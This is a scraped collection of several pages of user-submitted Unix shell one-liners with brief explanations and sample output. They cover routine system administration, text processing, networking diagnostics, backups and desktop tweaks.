mem usage with ps Nicely display mem usage with ps. curl -s http://ws.audioscrobbler.com/1.0/user/<user_id>/recenttracks.rss|grep '<title>'|sed -n '2s/ *<\/\?title>//gp' Get curenttly playing track in Last.fm radio scrot -s /tmp/file.png I think, this is a shorter one :) sed -n -e '/postfix\/smtp\[.*status=sent/s/^.*to=<\([^>]*\).*$/\1/p' /var/log/mail.log | sort -u foo@foo.com foo2@foo2.com This assumes your mail log is /var/log/mail.log find . -name '*.txt' -print0 | parallel -0 -j+0 lzma Recompress all text files in a subdirectory with lzma This will deal nicely with filenames containing newlines and will run one lzma process per CPU core. It requires GNU Parallel http://www.youtube.com/watch?v=OpaiGYxkSuQ wget --auth-no-challenge --server-response -O- $url 2>&1 | grep "Cookie" | sed "s/^ Set-//g" > cookie.txt; wget --auth-no-challenge --server-response --http-user="user" --http-password="pw" --header="$(cat cookie.txt)" -O- $url --2010-12-01 09:18:49-- http://your.url/ Connecting to ...:80... connected. HTTP request sent, awaiting response... Content-Type: text/html Length: 1715 (1.7K) [text/html] Saving to: `STDOUT' <HTML> resolving basic authentication problem(401) with wget I have a server with a php requiring basic authentication, like this: header('WWW-Authenticate: Basic realm="do auth"'); header('HTTP/1.0 401 Unauthorized'); ...?> And the basic authentication in wget do not worked: wget --auth-no-challenge --http-user="username" --http-password="password" -O- "http://url" wget --keep-session-cookies --save-cookies=cookies.txt --load-cookies=cokies.txt --http-user="username" --http-password="password" -O- "http://url" I always received the 401 Authorization failed. The saved cookie is always empty. With my way, I received the header from the server and save the cookie, then resend the session cookie with authentication data nc -l -p 7777 > /dev/null [11.3MB/s] live netcat network throughput test On the another machine write this command. pv -r /dev/zero | nc 192.168.1.1 7777 It will show live throughput between two machine.The destination machine ip is at our example 192.168.1.1 You must multiply by 8 for the network calculation. You must install pv and netcat commands for this commands usage. formail -Y -s /usr/sbin/sendmail bar@example.com < /var/mail/foo Functions: formail E-mail a traditional Berkeley mbox to another recipient as individual e-mails. ‹ First < 142 143 144 145 146 > Last › mysqldump --host=[remote host] --user=[remote user] --password=[remote password] -C db_name | mysql --host=localhost --user=[local user] --password=[local password] db_name You can use this to dump you database from remote db to your local db. grep -R usepackage * | cut -d']' -f2 | cut -s -d'{' -f 2 | sed s/"}"/.sty"}"/g | cut -d'}' -f1 | sort | uniq | xargs dpkg -S | cut -d':' -f1 | sort | uniq Functions: cut grep sed sort uniq xargs Get debian package names corresponding to latex packages used in a document while true; do du -s <file_or_directory>; sleep <time_interval>; done Functions: du sleep very handy if you copy or download a/some file(s) and want to know how big it is at the moment # cut -d ' ' -f1 /var/log/nginx/nginx-access.log | sort | uniq -c | sort -nr | head -10 | nl Functions: cut head sort uniq See the top 10 IP addresses in a web access log $(STEEP=300; sleep $STEEP; xmessage "Your tea is done") & A simple X11 tea timer wrapping the snippet in $( )& puts the whole thing in the background so you don't tie up your login session. resolveip -s www.freshmeat.net root@zappa:~/Music# resolveip -s www.freshmeat.net 216.34.181.xxx resolve hostname to IP our vice versa with less output inverted version: resolveip -s 216.34.181.xxx freshmeat.net du -ms * 2>/dev/null |sort -nr|head List the biggest accessible files/dirs in current directory, sorted find . -type f -print0 | xargs -0 md5sum calculate md5 sums for every file in a directory tree an alternative netstat -lnp6 | grep :8080 | sed 's#^[^\/]*/\([a-z0-9]*\)#\1#' apache2 Functions: grep netstat sed Gets the application's name that's listening from the port 8080 through IPv6 set list / set nolist show hidden chars in vi ping google.com | tee ping-output.txt PING google.com (74.125.67.100) 56(84) bytes of data. 64 bytes from gw-in-f100.google.com (74.125.67.100): icmp_seq=1 ttl=240 time=88.9 ms 64 bytes from gw-in-f100.google.com (74.125.67.100): icmp_seq=2 ttl=240 time=100 ms 64 bytes from gw-in-f100.google.com (74.125.67.100): icmp_seq=3 ttl=240 time=96.4 ms 64 bytes from gw-in-f100.google.com (74.125.67.100): icmp_seq=4 ttl=240 time=88.9 ms 64 bytes from gw-in-f100.google.com (74.125.67.100): icmp_seq=5 ttl=240 time=89.1 ms Functions: ping tee Ping a URL sending output to file and STDOUT The tee (as in "T" junction) command is very useful for redirecting output to two places. (curl -d q=grep http://www.commandlinefu.com/search/autocomplete) | egrep 'autocomplete|votes|destination' | perl -pi -e 's/a style="display:none" class="destination" href="//g;s/<[^>]*>//g;s/">$/\n\n/g;s/^ +//g;s/^\//http:\/\/commandlinefu.com\//g' grep --color=auto -iRnH "$search_word" $directory Grep for word in directory (recursive) http://commandlinefu.com/commands/view/1144/grep-for-word-in-directory-recursive grep -i --color=auto Grep colorized http://commandlinefu.com/commands/view/2004/grep-colorized Functions: egrep perl Search commandlinefu from the command line There's probably a more efficient way to do this rather than the relatively long perl program, but perl is my hammer, so text processing looks like a nail. This is of course a lot to type all at once. You can make it better by putting this somewhere: clf () { (curl -d "q=$@" http://www.commandlinefu.com/search/autocomplete 2>/dev/null) | egrep 'autocomplete|votes|destination' | perl -pi -e 's/<a style="display:none" class="destination" href="//g;s/<[^>]*>//g;s/">$/\n\n/g;s/^ +|\([0-9]+ votes,//g;s/^\//http:\/\/commandlinefu.com\//g'; } Then, to look up any command, you can do this: clf diff This is similar to http://www.colivre.coop.br/Aurium/CLFUSearch except that it's just one line, so more in the spirit of CLF, in my opinion. while [ -n "`pgrep wget`" ]; do sleep 2 ;done; [ -e "/tmp/nosleep"] || echo mem >/sys/power/state Put the machine to sleep after the download(wget) is done [Note: This command needs to be run as root]. If you are downloading something large at night, you can start wget as a normal user and issue the above command as root. When the download is done, the computer will automatically go to sleep. If at any time you feel the computer should not go to sleep automatically(like if you find the download still continuing in the morning), just create an empty file called nosleep in /tmp directory. for i in `seq 1 1 50`; do echo -n -; done This feels more intuitive to me. perl -le 'opendir DIR, "." or die; print while $_ = readdir DIR; closedir DIR' 1-36-AP10_.001 1-36-AP10_.001.AR14 1-36-AP10_.001.AR14P 1-36-AP10_.001.R14___ 1-36-AP10_.001.mbcsf 1-36-AP10_.A000.R14___ 1-36-AP10_.A000.TS 1-36-AP10_.A000.u 1-36-AP10_.A000.ugm 1-36-AP10_.A000.vgm 1-36-AP10_.A001.R14___ 1-36-AP10_.A001.TS 1-36-AP10_.A001.u 1-36-AP10_.A001.ugm 1-36-AP10_.A001.vgm 1-36-AP10_.AR14 1-36-AP10_.AR14A 1-36-AP10_.AR14P 1-36-AP10_.CONV.001 1-36-AP10_.CONVSHUF.001 1-36-AP10_.Freshwater (over 2'000'000 lines omitted) Listing directory content of a directory with a lot of entries Ever wanted to get the directory content with 'ls' or 'find' and had to wait minutes until something was printed? Perl to the rescue. The one-liner above(redirected to a file) took less than five seconds to run in a directory with more man 2 million files. One can adapt it to e.g. delete files that match a certain pattern. shuf -n4 /usr/share/dict/words | sed -e ':a;N;$!ba;s/\n/ /g;s/'\''//g;s/\b\(.\)/\u\1/g;s/ //g' EyestrainOctogenariansCatechisingDepression Alternative way to generate an XKCD #936 style 4 word password usig sed This is what I came up to generate XKCD #936 style four-word password. Since first letter of every word is capitalized it looks a bit more readable to my eyes. Also strips single quotes. And yes - regex is a bit of a kludge, but that's the bes i could think of. rehash Help shell find freshly installed applications (re: PATH) Immediately after installing things into your PATH (e.g. under /usr/bin), currently open shells cannot find them ("zsh: command not found"). Use rehash to get the shell to rescan available executables. aptitude keep-all Cancel all aptitude scheduled actions Very handy if you have done a package selection mistake in aptitude. Note that it's better to do a Ctrl+U (undo) in aptitude if possible, because the keep-all will clear some package states (like the 'hold' state). supportsWrap(){ ldd `which ${1}` | grep "libwrap" &>/dev/null && return 0 || return 1; } if supportsWrap sshd ;then vim + -o /etc/hosts.allow /etc/hosts.deny; fi Functions: grep ldd return Check tcp-wrapping support This function returns TRUE if the application supports tcp-wrapping or FALSE if not by reading the shared libraries used by this application. cat file.txt | sort | uniq -dc Functions: cat sort uniq SITE="www.google.com"; curl --silent "http://www.shadyurl.com/create.php?myUrl=$SITE&shorten=on" | awk -F\' '/is now/{print $6}' ShadyURL via CLI sed -n 's/\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}/\nip&\n/gp' ips.txt | grep ip | sed 's/ip//'| sort | uniq Functions: grep sed sort Extract ip addresses with sed Extracts ip addressess from file using sed. Uses a tag(ip) to grep the IP lines after extracting. Must be a way to just output regex matched on sed. mkfs.vfat /dev/sdc1 Functions: mkfs quickly formats a fat partition. usefull for flash drives mkdir $(date +%F) cut -d, -f5 extract column from csv file extracts the 5th column using the delimiter ',' ‹ First < 143 144 145 146 147 > Last › curl http://www.cpan.org/modules/01modules.index.html |awk '{print $1}'|grep -v "<"|sort|uniq -c|grep -v " +[0-9] " Functions: awk grep uniq List the popular module namespaces on CPAN Grabs the complete module list from CPAN, pulls the first column, ditches html lines, counts, ditches small namespaces. genpass(){local i x y z h;h=${1:-8};x=({a..z} {A..Z} {0..9});for ((i=0;i<$h;i++));do y=${x[$((RANDOM%${#x[@]}))]};z=$z$y;done;echo $z ;} password generator make password randomly, default 8 chars, using bash3.X only, no external program. sox input.wav output.wav reverse trim 00:00:00.3 reverse Truncate 0.3 sec from an audio file using sox Using this command one can cut a piece from the end of an audio file. vimdiff scp://[user@]host1/<file> scp://[user@]host2/<file> A little messy, but functional. Requires vim >= 7.x. find . -name '*.html' -exec 'sed' 's/.*class="\([^"]*\?\)".*/\1/ip;d' '{}' ';' |sort -su List out classes in of all htmls in directory Lists out all classes used in all *.html files in the currect directory. usefull for checking if you have left out any style definitions, or accidentally given a different name than you intended. ( I have an ugly habit of accidentally substituting camelCase instead of using under_scores: i would name soemthing counterBox instead of counter_box) WARNING: assumes you give classnames in between double quotes, and that you apply only one class per element. xmlstarlet sel -N x="http://purl.org/net/ulf/ns/0.4-02" -T -t -m "//x:message" -v "concat(substring(@time,12,5),' < ',@sender,'>', ' ',.)" -n Extract a IRC like chat log out of an Adium xml logfile endnl () { [[ -f "$1" && -s "$1" && -z $(tail -c 1 "$1") ]]; } $ echo -n 'test' > /tmp/test1; if endnl /tmp/test1; then echo 'Ends in newline'; fi $ echo 'test' > /tmp/test2; if endnl /tmp/test2; then echo 'Ends in newline'; fi Ends in newline $ echo -n '' > /tmp/test3; if endnl /tmp/test3; then echo 'Ends in newline'; fi $ echo '' > /tmp/test4; if endnl /tmp/test4; then echo 'Ends in newline'; fi $ cd /tmp; ls -lt | head -n 5 total 32768 -rw-r--r-- 1 nick nick 1 2010-08-25 12:22:23 test4 -rw-r--r-- 1 nick nick 0 2010-08-25 12:22:12 test3 -rw-r--r-- 1 nick nick 5 2010-08-25 12:21:52 test2 -rw-r--r-- 1 nick nick 4 2010-08-25 12:21:32 test1 Function to check whether a regular file ends with a newline tail -c 1 "$1" returns the last byte in the file. Command substitution deletes any trailing newlines, so if the file ended in a newline $(tail -c 1 "$1") is now empty, and the -z test succeeds. However, $a will also be empty for an empty file, so we add -s "$1" to check that the file has a size greater than zero. Finally, -f "$1" checks that the file is a regular file -- not a directory or a socket, etc. ifconfig|sed '/inet/!d;/127.0/d;/dr:\s/d;s/^.*:\(.*\)B.*$/\1/' Get your local IP regardless of your network interface Shows only IP-addresses of ifconfig except 127.0.0.0/8. I fixed the script to work on more systems and configs short info /inet/!d; #grep inet /127.0/d; # grep -v 127.0 /dr:\s/d; # grep -v dr: s/^.*:\(.*\)B.*$/\1/ # remove everything exept between : and B mkdosfs /dev/sdx1 Functions: mkdosfs perl -e 'unlink grep { -f -B } <*>' Please note that binary file checking is NOT perfect. So, use it with caution. It does not delete hidden files whose name has a leading '.' character. And it regards an empty file as a binary file. alias google='open http://www.google.com/search?q="' >>opens your fav browser with google search results search google on os x Syntax: google query_with_spaces " so, make sure to end your query with a double quote sqlite3 ~/.liferea_1.4/liferea.db 'VACUUM;' Speed up launch of liferea If you use liferea frequently, you will see obvious speedup after you executed this command. grep test somefile | grep -v -e error -e critical -e warning Functions: grep test You can use -e to pass multiple patterns. mysqldump -u<dbusername> -p<dbpassword> <databasename> --no-data --tables CREATE TABLE `contacts` ( `id` int(10) NOT NULL auto_increment, `firstname` text NOT NULL, `lastname` text NOT NULL, `email` text NOT NULL, `address1` text NOT NULL, `address2` text NOT NULL, `city` text NOT NULL, `state` text NOT NULL, `postcode` text NOT NULL, `country` text NOT NULL, `phonenumber` text NOT NULL, PRIMARY KEY (`id`), ) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; Show database sql schema from Remote or Local database After ssh into server, run this command to show all the table structure and schema. find * \( -name "*.[hc]pp" -or -name "*.py" -or -name "*.i" \) -print0 | xargs -0 wc -l | tail -n 1 55570 total Functions: find tail wc xargs Find how much of your life you've wasted coding in the current directory Finds all C++, Python, SWIG files in your present directory (uses "*" rather than "." to exclude invisibles) and counts how many lines are in them. Returns only the last line (the total). ifconfig -a | nawk 'BEGIN {FS=" "}{RS="\n"}{ if($1~ /:/) {printf "%s ", $1}}{ if($1=="inet") {print " -- ",system("arp "$2)}}'|egrep -v "^[0-9]$" NICs, IPs, and Mac Needed to get the Mac of various devices on a solaris box, but didn't have root. This command used awk to display the Network device, the IP, and the MAC a line at a time. tr -d "\n\r" | grep -ioEm1 "<title[^>]*>[^<]*</title" | cut -f2 -d\> | cut -f1 -d\< Functions: cut grep tr not the best, uses 4 pipes! texdoc packagename localhost% texdoc -l graphicx 1 /usr/share/texmf-texlive/doc/latex/graphics/grfguide.pdf 2 /usr/share/texmf-texlive/doc/latex/graphics/graphicx.pdf 3 /usr/share/texmf-texlive/doc/latex/graphicx-psmin/graphicx-psmin.pdf Please enter the number of the file to view, anything else to skip: Easily find latex package documentation If the pdf/dvi/etc documentation for a latex package is already part of your local texmf tree, then texdoc will find and display it for you. If the documentation is not available on your system, it will bring up the package's webpage at CTAN to help you investigate. find /mountpoint -type f -iregex '.*\.\(doc\|xls\)' Find only *.doc and *xls files on Windows partition When using regex - there is no need to use -o and 2nd regex. export HISTIGNORE=' cd "`*: PROMPT_COMMAND=?*?' $ export HISTIGNORE=' cd "`*: PROMPT_COMMAND=?*?' ; exec bash $ # store some text here $ history | tail -3 1000 export HISTIGNORE=' cd "`*: PROMPT_COMMAND=?*?' ; exec bash 1001 # store some text here 1002 history | tail -3 Functions: cd export I was surprised to find that with RedHat bash, I could not find any comment lines (begining with #) in my bash shell history. Surprised because in Mageia Linux this works. It turns out that RedHat's bash will keep comment lines if in my .bashrc, I define: Why have comment lines in shell history? It's a handy and convenient way to make proto-commands (to be completed later) and for storing brief text data that is searchable in shell history. perl -le 'print$_%3?$_%5?$_:"Buzz":$_%5?"Fizz":"FizzBuzz"for 1..100' ps auxww |grep " dd " |grep -v grep |awk '{print $2}' |while read pid; do kill -USR1 $pid; done Functions: grep kill ps read Check the status of a 'dd' in progress. useful when creating very large dumps and want to see how far along it is. Sending the kill -USR1 forces dd to dump it's progress to stdout pushd /directory/to/remember ~ /directory/to/remember Store dirs to later be changed to independant of the last directory you were in. Also with managment tools. Check out: help dirs help pushd help popd -- Cheers! find -type f -name "*.xml" -exec xmllint --noout {} \; Validate all XML files in the current directory and below If everything validates, there's no output. Can be handy to run on a cron job set up to email output. sed 2~2d Print only the odd lines of a file (GNU sed) The tilde address operator is an extension of GNU sed. It won't work with POSIX sed. ‹ First < 144 145 146 147 148 > Last › say() { curl -sA Mozilla -d q=`python3 -c 'from urllib.parse import quote_plus; from sys import stdin; print(quote_plus(stdin.read()[:100]))' <<<"$@"` 'http://translate.google.com/translate_tts' | mpg123 -q -; } google tts dig -x {IP} tar -czf ../header.tar.gz $(find . -name *.h) Tar files matching a certain wildcard This is a shortcut to tar up all files matching a wildcard. Tar doesn't have the --include (apparently). ls *[^.gz] file1 file2.gz file3.gz $ ls *[^.gz] I've been looking for a way to do this for a while, get a not pattern for shell globs. This works, I'm using to grab logs from a remote server via scp. mdadm -X /tmp1/md2bitmap Report information about a bitmap file. # umount /media/filesystem; e2fsck -f /dev/device ; resize2fs -p /dev/device 200G #actual newsize#;lvreduce --size 200G /dev/device; mount /media/filesystem; df -h /media/filesystem Functions: df e2fsck mount resize2fs umount LVM2 Reduce Just the commands for the lvreduce I keep forgetting. type -t $1 #Determine if a command is an available function #Useful in BASH scripts #Usage: is_fun test_function #Returns: string: yes | no is_fun() { if [ "$(type -t $1)" == "function" ]; then echo "yes"; else echo "no"; fi } Prints a string indicating whether a command is an alias, keyword, function, builtin, or file. I have used this in my BASH scripts to allow an external parameter to define which function to run, and ensure that it is a valid function that can indeed be run. for i in `df -P |grep string|cut -f2 -d%|cut -c2-100`; do umount -l -f $i;done Umount only the NFS related to 'string' Sometimes, you have a lot of NFS in the server and you can't or shouldn't use umount -a. Whis this command, you only umount the fs related to the 'string' more xx.m3u |grep -v "^#" |xargs -i cp {} target Functions: cp grep more xargs copy audio file from playlist to a floder copy some file from xx.m3u to target folder du -sh ~/* 896K /home/labo/bin 4,0K /home/labo/Bureau 197M /home/labo/dev 710M /home/labo/Documents 381M /home/labo/Dropbox 24K /home/labo/flumotion 964M /home/labo/Images 4,0K /home/labo/Mod?les 4,0K /home/labo/Musique 4,0K /home/labo/Public 2,4G /home/labo/qemu 19M /home/labo/src 355M /home/labo/T?l?chargements 243M /home/labo/tmp 203M /home/labo/Vid?os ls -1t --group-directories-first /path/to/dir/ | tail -n 1 get the oldest file in a directory reverse the sorting of ls to get the newest file: ls -1tr --group-directories-first /path/to/dir/ | tail -n 1 Problems: If there are no files in the directory you will get a directory or nothing. mv .git .. && rm -rf * && mv ../.git . && mv .git/* . && rmdir .git && git config --bool core.bare true Functions: mv rm rmdir Convert an existing Git repo to a bare repo If you want to turn a Git repo into the origin that folks can push to, you should make it a bare repository. See: http://stackoverflow.com/questions/2199897/git-convert-normal-to-bare-repository fuser -k `who -u | awk '$6 == "old" { print "/dev/"$2'}` Functions: awk fuser Force logout after 24 hours idle Shell timeout variables (TMOUT) can be very liberal about what is classified as 'activity', like having an editor open. This command string will terminate the login shell for an user with more than a day's idle time. gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 | tee /tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $PID; rm -f /tmp/sock1 /tmp/sock2 ; } Functions: kill mkfifo rm tee Create a single-use TCP proxy with copy to stdout USAGE: gate listening_port host port Creates listening socket and connects to remote device at host:port. It uses pipes for connection between two sockets. Traffic which goes through pipes is wrote to stdout. I use it for debug network scripts. pkgfile -lb `pkgfile <command>` archlinux: find more commands provided by the package owning some command uses the pkgfile command (part of the community repository), highly suggested. who -u|grep -v root|awk {'print $6'}|kill `awk {'print $0'}` Functions: awk grep kill who It's only to logout all other user's except "root" dd if=/path/to/inputfile of=/path/to/outputfile & pid=$! && sleep X && while kill -USR1 $pid; do sleep X; done cyrusza@OMGWTF:/mnt/storage/share/downloads$ dd if=devastation.tar.gz of=dev-backup.tar.gz & pid=$! && sleep 15 && while kill -USR1 $pid; do sleep 15; done [1] 22929 223969+0 records in 223968+0 records out 114671616 bytes (115 MB) copied, 15.0148 s, 7.6 MB/s 457235+0 records in 457234+0 records out 234103808 bytes (234 MB) copied, 30.0572 s, 7.8 MB/s 676833+0 records in 676832+0 records out 346537984 bytes (347 MB) copied, 45.077 s, 7.7 MB/s 918865+0 records in 918865+0 records out 470458880 bytes (470 MB) copied, 60.1207 s, 7.8 MB/s 1130209+0 records in 1130208+0 records out 578666496 bytes (579 MB) copied, 75.1381 s, 7.7 MB/s 1180668+1 records in 1180668+1 records out 604502352 bytes (605 MB) copied, 78.6036 s, 7.7 MB/s [1]+ Done dd if=devastation.tar.gz of=dev-backup.tar.gz -bash: kill: (22929) - No such process cyrus@OMGWTF:/mnt/storage/share/downloads$ Adjust "sleep X" to your needs. *NOTE: First sleep is required because bash doesn't have a "post-test" syntax (do XXX while). vlc --one-instance --playlist-enqueue -q $(while read netcast; do wget -q $netcast -O - |grep enclosure | tr '\r' '\n' | tr \' \" | sed -n 's/.*url="\([^"]*\)".*/\1/p'|head -n1; done <netcast.txt) The sound of the latest offering being played. Functions: read sed tr wget Stream the latest offering from your fave netcasts/podcasts This is a quick line to stream in the latest offerings of your favorite netcasts/podcasts. You will need to have a file named netcast.txt in the directory you run this from. This file should have one and only one of your netcast's/podcst's url per line. When run the line grabs the offering on the top of the netcast/podcast stack and end it over , quietly, to vlc. Since I move around computers during the day I wanted an easy way to listen to my daily dose of news and such without having to worry about downloading to whatever machine I am on. This is just a quick grab and stream of whats current. Future plans... have the list of netcasts be read from the web. possibly an rss or such. I use greader so there might be a way to use it as the source so as not to have to muck with multiple lists du -a --max-depth=1 | sort -n List the size of all sub folders and files from the current location, with sorting qdbus org.kde.powerdevil /modules/powerdevil setProfile <Profilename> Set KDE4's Power Devil daemon power policy profiles smbcacls //server/sharename file -U username [user@bigdaddy ~]# smbcacls //bigdaddy/Music enigma -U sambauser REVISION:1 CONTROL:0x9004 OWNER:S-1-5-21-3153736633-1905262503-1117118772-1000 GROUP:Unix Group@users ACL:S-1-5-21-3153736633-1905262503-1117118772-1000:ALLOWED/0x0/FULL ACL:Unix Group@users:ALLOWED/0x0/FULL ACL:Everyone:ALLOWED/0x0/READ read Windows ACLs from Linux You can read, add, delete and modify Windows permissions from Linux using smbcacls from the smb-client package. ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f%\t%.2f%\n",num[user], user, cpu[user], mem[user]) }' NPROC USER CPU MEM 1 rpc 0.00% 0.00% 9 patrol 0.00% 0.00% 11 wikimoe 0.00% 1.50% 11 gipce 0.00% 0.40% 1 dbus 0.00% 0.00% 1 rpcuser 0.00% 0.00% 1 named 0.30% 0.00% 11 wikiprod 0.20% 2 appli 0.00% 0.00% 1 smmsp 0.00% 0.00% 2 avahi 0.00% 0.00% 10 webdba 0.00% 0.00% 1 xfs 0.00% 0.00% 1 ntp 0.00% 0.00% 281 root 2.30% 8.10% It's like `prstat -t` under Solaris sync; echo 3 > /proc/sys/vm/drop_caches clear the cache from memory tar --create --file /path/$HOSTNAME-my_name_file-$(date -I).tar.gz --atime-preserve -p -P --same-owner -z /path/ tar --create --file /path/$HOSTNAME-etc-$(date -I).tar.gz --atime-preserve -p -P --same-owner -z /etc/ Creat a tar file for backup info Use tar command for a backup info with a date of creation if [[ `:$(cal);echo $_` == `date +%d` ]]; then ROTATE_MONTHLY_TABLES_SCRIPT;fi Run a command if today is the last day of the month This is handy to just shove into a daily cron entry. If you do use cron, make sure to escape the %d with \%d or it will fail. ‹ First < 145 146 147 148 149 > Last › watch -n .5 "iwlist wlan0 scan" Not a kismet replacement... If you're like some individuals who rely on ndiswrapper and cannot use kismet, this command may be of service. watch -n .5 "iwlist wlan0 scan | egrep 'ESSID|Encryption'" Or... watch -n .5 "iwlist wlan0 scan | egrep 'ESSID|Encryption' | egrep 'linksys'" :-) Hopefully you'll find some dd-wrt compatible routers. tar czf /path/archive_of_foo.`date -I`.tgz /path/foo create tar archive of files in a directory and its sub-directories creates a compressed tar archive of files in /path/foo and writes to a timestamped filename in /path. audio-convert <dir>/* Convert all .wav to .mp3 Audio convert is a script that uses zenity and lame to transcode virtually any format to any other format provided you have the libraries installed to do so. watch -n1 -d !! watch the previous command If you just executed some long command, like "ps -aefww | grep -i [m]yProcess", and if you don't want to retype it or cycle backwards in history and waste time quoting it, then you can use history substitution. wodim -v speed=4 dev='/dev/scd0' foo.iso Burn an ISO on commandline with wodim instead cdrecord svn propedit svn:ignore . Edit the list of to ignore files in the active directory Standard command, but I always have to search for it... ;-) nroff -u0 -Tlp -man /usr/openwin/man/man1/Xsun.1 | col -x | less Functions: col Use nroff to view the man pages Using nroff , it is possible to view the otherwise garbled man page with col command. awk -F\" '{print $4}' *.log | grep -v "eviljaymz\|\-" | sort | uniq -c | awk -F\ '{ if($1>500) print $1,$2;}' | sort -n jaymz@bowser:~/Desktop/tmp$ awk -F\" '{print $4}' *.log | grep -v "eviljaymz\|\-" | sort | uniq -c | awk -F\ '{ if($1>500) print $1,$2;}' | sort -n 517 http://kyberia.sk/id/63756 621 http://kyberia.sk/id/15 628 http://bdelive.fr/shoutbox_view.php?0?auto_refresh=1 644 http://digg.com/all/upcoming/most 658 http://winkftp.free.fr/minichat/minichatone.php 690 http://loading.se/forum.php?thread_id=125&page=412 704 http://www.reddit.com/new/ 715 http://www.okoun.cz/boards/komixove_stripy 726 http://www.skyscrapercity.com/showthread.php?t=521993&page=343 759 http://www.reddit.com/r/programming/comments/7zena/reasons_why_people_who_work_with_computers_seem/ 760 http://www.kalerab.sk/forum.php?forumid=1243 787 http://www.graphilla.com/viewtopic.php?t=15983&start=1000 819 http://www.google.com/reader/view/ 878 http://www.reddit.com/?count=25&after=t3_7z5oj 884 http://www.diskusjon.no/index.php?showtopic=690294&st=8680 998 http://www.reddit.com/top/ 1151 http://www.imilovice.cz/main/forum.php?action=showthread&threadid=20192 1239 http://www.ziapps.com/ 1259 http://www.jimmyr.com/ 1369 http://www.nyx.cz/index.php?l=topic;id=64 1381 http://www.stumbleupon.com/toolbar/ 2559 http://twitturls.com/ 2763 http://www.reddit.com/ 2897 http://www.waarmaarraar.nl/opmerkelijkbeeld/0/GO/0/opmerkelijke_beelden.html 2994 http://www.reddit.com/r/pics/ 4445 http://www.reddit.com/r/programming/ 8222 http://www.bdelive.fr/shoutbox_view.php?0?auto_refresh=1 24220 http://www.plurk.com/getWidget?uid=423872&h=375&w=190&u_info=1&bg=cf682f&tl=cae7fd Print summary of referers with X amount of occurances This prints a summary of your referers from your logs as long as they occurred a certain number of times (in this case 500). The grep command excludes the terms, I add this in to remove results Im not interested in. find -mindepth 1 -maxdepth 1 -name .\* ./.esd_auth ./.scummvmrc ./.gnuplot-wxt ./.subversion Find all dotfiles and dirs find makes it easier, filtering . and .. maxdepth could be removed, finding entries recursively. Removing mindepth causes . to appear httpd -V | grep -i SERVER_CONFIG_FILE | cut -f2 -d'"' | xargs grep -i '^DocumentRoot' | cut -f2 -d'"' /var/www/public_html How To Get the Apache Document Root Grabs the Apache config file (yielded from httpd) and returns the path specified as DocumentRoot. c=$(pgrep <cmd>) && <new_cmd> && kill $c Substitute an already running command Already running cmd sleep 120 Substitution cmd c=$(pgrep sleep) && sleep 5 && kill $c perl -C -e 'print for sort { length $a <=> length $b or $a cmp $b } <>' < /usr/share/dict/words | tail Functions: cmp perl sort making it "sound" more "natural" language like -- additionally sorting the longest words alphabetically: this approach is using: * to get at all lines of input * post-"for" structure * short-circuit-or in sort: if the lengths are the same, then sort alphabetically otherwise don't even evaluate the right hand side of the or * -C sets all input and ouput channels to utf8 find . -iname *.java -type f -exec bash -c "iconv -f WINDOWS-1252 -t UTF-8 {} > {}.tmp " \; -exec mv {}.tmp {} \; Functions: bash find mv Convert encoding from cp1252 (MS Windows) to UTF-8 on source code files urpmf lib/blah $ urpmf lib/libXvMCW.so.1 libxvmc1:/usr/lib/libXvMCW.so.1 libxvmc1:/usr/lib/libXvMCW.so.1.0.0 Search for files in rpm repositorys. (Mandriva linux) Look for an rpm that supplies a specific file that you don't yet have installed. extremely useful when you need something and don't know where it is.. or what its called. note: uses grep like syntax. tar cf - dir_to_cp/ | (cd path_to_put/ && tar xvf -) tar copy Just a copy of a big dir when you wan't things like ownership and date etc etc to be untouched. Note: Updated with the ideas from "mpb". DIR=. ; FSTYPE=$(df -TP ${DIR} | grep -v Type | awk '{ print $2 }') ; echo "${FSTYPE}" ext3 Functions: awk df echo grep Test file system type before further commands execution Exclude 400 client hosts with NFS auto-mounted home directories. Easily modified for inclusion in your scripts. getent passwd | awk -F: '($3>600) && ($3<10000) && ($3>maxuid) { maxuid=$3; } END { print maxuid+1; }' 834 Functions: awk getent passwd better with accounts on ldap ps ax | egrep "*.exe|*exe]" | awk '{ print $1 }' | xargs kill Functions: awk egrep ps xargs kill all running instances of wine and programs runned by it (exe) Look mah! All pipes export http_proxy=<user>:<pass>@<server>:<port> ftp_proxy=<user>:<pass>@<server>:<port> Configuring proxy client on terminal LATEST=`readlink /boot/vmlinuz`; OLD=`readlink /boot/vmlinuz.old`; cat /boot/grub/grub.conf | sed -i -e 's/\(Latest \[[^-]*\).*\]/\1-'"${LATEST#*-}"]'/1' -e 's/\(Old \[[^-]*\).*\]/\1-'"${OLD#*-}"]'/1' /boot/grub/grub.conf Automagically update grub.conf labels after installing a new kernel I like to label my grub boot options with the correct kernel version/build. After building and installing a new kernel with "make install" I had to edit my grub.conf by hand. To avoid this, I've decided to write this little command line to: 1. read the version/build part of the filename to which the kernel symlinks point 2. replace the first label lines of grub.conf grub.conf label lines must be in this format: Latest [{name}-{version/build}] Old [{name}-{version/build}] only the {version/build} part is substituted. For instance: title Latest [GNU/Linux-2.6.31-gentoo-r10.201003] would turn to title Latest [GNU/Linux-2.6.32-gentoo-r7.201004]" take() { mkdir -p $1 && cd $1; } take foo Create a directory and cd into it This creates a bash function `take` that you can call with the name of the directory as the first parameter. Add the function to ~/.bashrc to have it available anytime. typeset -f <function-name> $ myfun () {echo "test"}; $ typeset -f myfun myfun () { map ^A !}fmt In (any) vi, add a keystroke to format the current paragraph. That goes into your $HOME/.exrc file. " Nice macro to reformat lines: Note that the ^A has to be input by typing ^V^A. find . -maxdepth 1 -type d -exec 'mv "{}" "{}-old" && svnadmin create "{}" && svnadmin recover "{}-old" && svnadmin dump "{}-old" | svnadmin load "{}" && rm -rf "{}-old"' \; Functions: dump find rm Convert all old SVN repositories in one directory to new format wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]} ' | grep -v "^$" Functions: awk grep wget 